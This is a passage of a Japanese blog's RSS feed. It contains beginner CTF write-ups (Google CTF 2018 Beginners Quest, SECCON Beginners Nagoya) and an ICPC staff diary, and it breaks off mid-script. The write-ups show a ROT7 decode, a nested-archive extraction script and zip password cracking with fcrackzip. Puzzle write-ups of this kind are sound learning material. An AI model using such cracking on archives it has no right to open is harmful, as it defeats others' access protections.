      <description>&lt;p&gt;この記事は&lt;a href=&#34;https://adventar.org/calendars/3210&#34;&gt;CTF Advent Calendar 2018&lt;/a&gt; 19日目の記事です。18日目はmage_1868さんの&lt;a href=&#34;https://gist.github.com/m---/262d66e0163d42030d9ce1c272e6f65e&#34;&gt;MortAl mage aGEnts write-up&lt;/a&gt;でした。&lt;/p&gt;
&lt;p&gt;CTFビギナーなので&lt;a href=&#34;https://capturetheflag.withgoogle.com/#beginners/&#34;&gt;Google CTF 2018 Beginners Quest&lt;/a&gt;を解いており、&lt;a href=&#34;https://unigiri.gitlab.io/diary&#34;&gt;Diary&lt;/a&gt;で書いているWriteupsをまとめます。全て解き終わらなかったので残りは解け次第追記します。&lt;/p&gt;
&lt;p&gt;解くにあたり使ったツールも書こうとしてたんですが、長文になるため別機会で。コメントがあればTwitterもしくはMastodonまでお願いします。&lt;/p&gt;
&lt;h2 id=&#34;misc&#34;&gt;Misc&lt;/h2&gt;
&lt;h3 id=&#34;letter&#34;&gt;LETTER&lt;/h3&gt;
&lt;p&gt;PDFファイルが1つ与えられる。Viewerによる検索でフラグを得る。&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; src=&#34;https://unigiri.gitlab.io/posts/google-ctf-2018-beginners-quest/13.png&#34;&gt;&lt;/p&gt;
&lt;h3 id=&#34;ocr-is-cool&#34;&gt;OCR IS COOL!&lt;/h3&gt;
&lt;p&gt;Gmailのメール本文がキャプチャされたPNGファイルが1つ与えられる。&lt;/p&gt;
&lt;p&gt;文面からROT Nと考えられ、本文中の&lt;code&gt;VMY{vtxltkvbiaxkbltlnulmbmnmbhgvbiaxk}&lt;/code&gt;を復号する。フラグは&lt;code&gt;CTF{...}&lt;/code&gt;の形式であるため、ROT 7であると分かる。&lt;/p&gt;
&lt;p&gt;復号には&lt;a href=&#34;https://gchq.github.io/CyberChef/&#34;&gt;CyberChef&lt;/a&gt;を用いた。&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; src=&#34;https://unigiri.gitlab.io/posts/google-ctf-2018-beginners-quest/14.png&#34;&gt;&lt;/p&gt;
&lt;h3 id=&#34;security-by-obscurity&#34;&gt;SECURITY BY OBSCURITY&lt;/h3&gt;
&lt;p&gt;ファイルが1つ与えられる。file commandによりzipだと分かるため展開する。&lt;/p&gt;
&lt;p&gt;ある程度展開すると他の拡張子に変化するためコマンドを変えてまた展開する、ということをzip, xz, bz2, gzと行っていくと、最後にパスワード付きのzipが現れる。&lt;/p&gt;
&lt;p&gt;brute forceでパスワードを確認し、展開してフラグを得る。ここではfcrackdiscを用いた。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;展開スクリプト&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;os&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;filetype&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;zipfile&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;subprocess&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;gzip&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;filepath&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;password.x.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;while&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;True&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;extension&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;filetype&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;guess&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;filepath&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;extension&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;%s&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;: &lt;/span&gt;&lt;span class=&#34;si&#34;&gt;%s&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;%&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;extension&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;filepath&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;extension&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;zip&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;with&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;zipfile&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ZipFile&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;filepath&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;as&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;f&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;f&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;extractall&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;elif&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;extension&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;xz&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;subprocess&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;call&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;([&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;7z&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;e&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;filepath&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;elif&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;extension&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;bz2&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;subprocess&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;call&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;([&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;bzip2&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;-d&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;filepath&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;os&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;rename&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;filepath&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;.out&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;.&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;join&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;filepath&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;split&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;.&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;elif&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;extension&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;gz&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;with&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;gzip&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;open&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;filepath&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;as&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;f&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;with&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;open&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;.&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;join&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;filepath&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;split&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;.&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]),&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;wb&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;as&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;nf&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;n&#34;&gt;nf&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;write&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;f&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;read&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;())&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;filepath&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;.&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;join&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;filepath&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;split&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;.&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;brute force&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ fcrackzip -l &lt;span class=&#34;m&#34;&gt;4&lt;/span&gt; -u -b password.x
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;PASSWORD FOUND!!!!: &lt;span class=&#34;nv&#34;&gt;pw&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; asdf
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ unzip password.x
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Archive:  password.x
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;password.x&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; password.txt password:
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt; extracting: password.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ cat password.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;CTF&lt;span class=&#34;o&#34;&gt;{&lt;/span&gt;DUMMY_FLAG&lt;span class=&#34;o&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;floppy&#34;&gt;FLOPPY&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ file foo.ico
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;foo.ico: MS Windows icon resource - &lt;span class=&#34;m&#34;&gt;1&lt;/span&gt; icon, 32x32, &lt;span class=&#34;m&#34;&gt;16&lt;/span&gt; colors
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;ico fileが与えられる。画像自体に気になる点は無いため、バイナリエディタで内容を確認。&lt;/p&gt;</description>
    </item>
    <item>
      <title>ICPC 2018 Asia Yokohama Regional 参加記</title>
      <link>https://unigiri.gitlab.io/posts/icpc2018-asia-yokohama-regional/</link>
      <pubDate>Mon, 10 Dec 2018 08:59:09 +0900</pubDate>
      <guid>https://unigiri.gitlab.io/posts/icpc2018-asia-yokohama-regional/</guid>
      <description>&lt;p&gt;12月8~9日にスタッフとして参加。&lt;/p&gt;
&lt;h2 id=&#34;12月8日&#34;&gt;12月8日&lt;/h2&gt;
&lt;p&gt;9時集合。Tシャツとタグを受け取る。スタッフ内で役割を決める。&lt;/p&gt;
&lt;p&gt;今年は風船班でpractice用の風船を膨らませる。A~D問題すべて60個用意したが半分ほど残り悲しかった。ただし難易度が事前に予測できず簡単すぎると一瞬で全完が続出するため事前準備は必要。&lt;/p&gt;
&lt;p&gt;practice中は風船を運んでいたような気がする。すでにあまり記憶がない。&lt;/p&gt;
&lt;p&gt;選手退場後に机や床の清掃をして2日目の資料を設置。18時頃解散。&lt;/p&gt;
&lt;h2 id=&#34;12月9日&#34;&gt;12月9日&lt;/h2&gt;
&lt;p&gt;8時集合。1日目の役割に従い会場準備。受付設営の準備をしていた。&lt;/p&gt;
&lt;p&gt;選手入場時はクローク待機列の監視。&lt;code&gt;DO NOT PASS&lt;/code&gt;の張り紙に背く人々ではなく暇だった。&lt;/p&gt;
&lt;p&gt;本番中は風船やコピー用紙の配布、会場見回り。特に目立ったトラブル等無し。&lt;/p&gt;
&lt;p&gt;選手退場後に猛スピードで会場の片付け。選手が別会場から戻る前にClosing Partyの準備を終える必要があるため急がなければならない。終わり次第別会場へ向かいYes/Noおじさんを見る。&lt;/p&gt;
&lt;p&gt;Closing Partyで食事を摂り19時半頃解散。&lt;/p&gt;
&lt;h2 id=&#34;感想&#34;&gt;感想&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;目立ったトラブルが無く良かった&lt;/li&gt;
&lt;li&gt;会場が広すぎず行き来に便利&lt;/li&gt;
&lt;li&gt;普段から簡潔な日本語を話せないと簡潔な英語は話せない&lt;/li&gt;
&lt;li&gt;風船作成は重労働&lt;/li&gt;
&lt;li&gt;2日目にTシャツとタグを持っていくのを忘れない(忘れそうになった)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;おそらく来年もいます。また来年。&lt;/p&gt;</description>
    </item>
    <item>
      <title>SECCON Beginners 2018 Nagoya CTF Writeups</title>
      <link>https://unigiri.gitlab.io/posts/seccon-beginners-2018-nagoya-ctf-writeups/</link>
      <pubDate>Sat, 24 Nov 2018 20:51:48 +0900</pubDate>
      <guid>https://unigiri.gitlab.io/posts/seccon-beginners-2018-nagoya-ctf-writeups/</guid>
      <description>&lt;p&gt;60+N人中7位。問題は公開されていない。&lt;/p&gt;
&lt;h2 id=&#34;calc&#34;&gt;Calc&lt;/h2&gt;
&lt;p&gt;SECCON Beginners CTF 2018 てけいさんえくすとりーむずのHTML版。ただし回答の時間制限は無い。&lt;/p&gt;
&lt;p&gt;数式を取得し、結果をPOSTする。アクセスユーザ識別のためのCookie設定を忘れないこと。&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;urllib.request&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;urllib.parse&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;from&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;bs4&lt;/span&gt; &lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;BeautifulSoup&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;from&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;http.cookiejar&lt;/span&gt; &lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;CookieJar&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;url&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;http://10.2.6.1:8080/index.php&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;opener&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;urllib&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;request&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;build_opener&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;urllib&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;request&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;HTTPCookieProcessor&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;CookieJar&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;res&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;opener&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;open&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;url&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;html&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;res&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;read&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;decode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;utf-8&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;soup&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;BeautifulSoup&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;html&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;html.parser&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
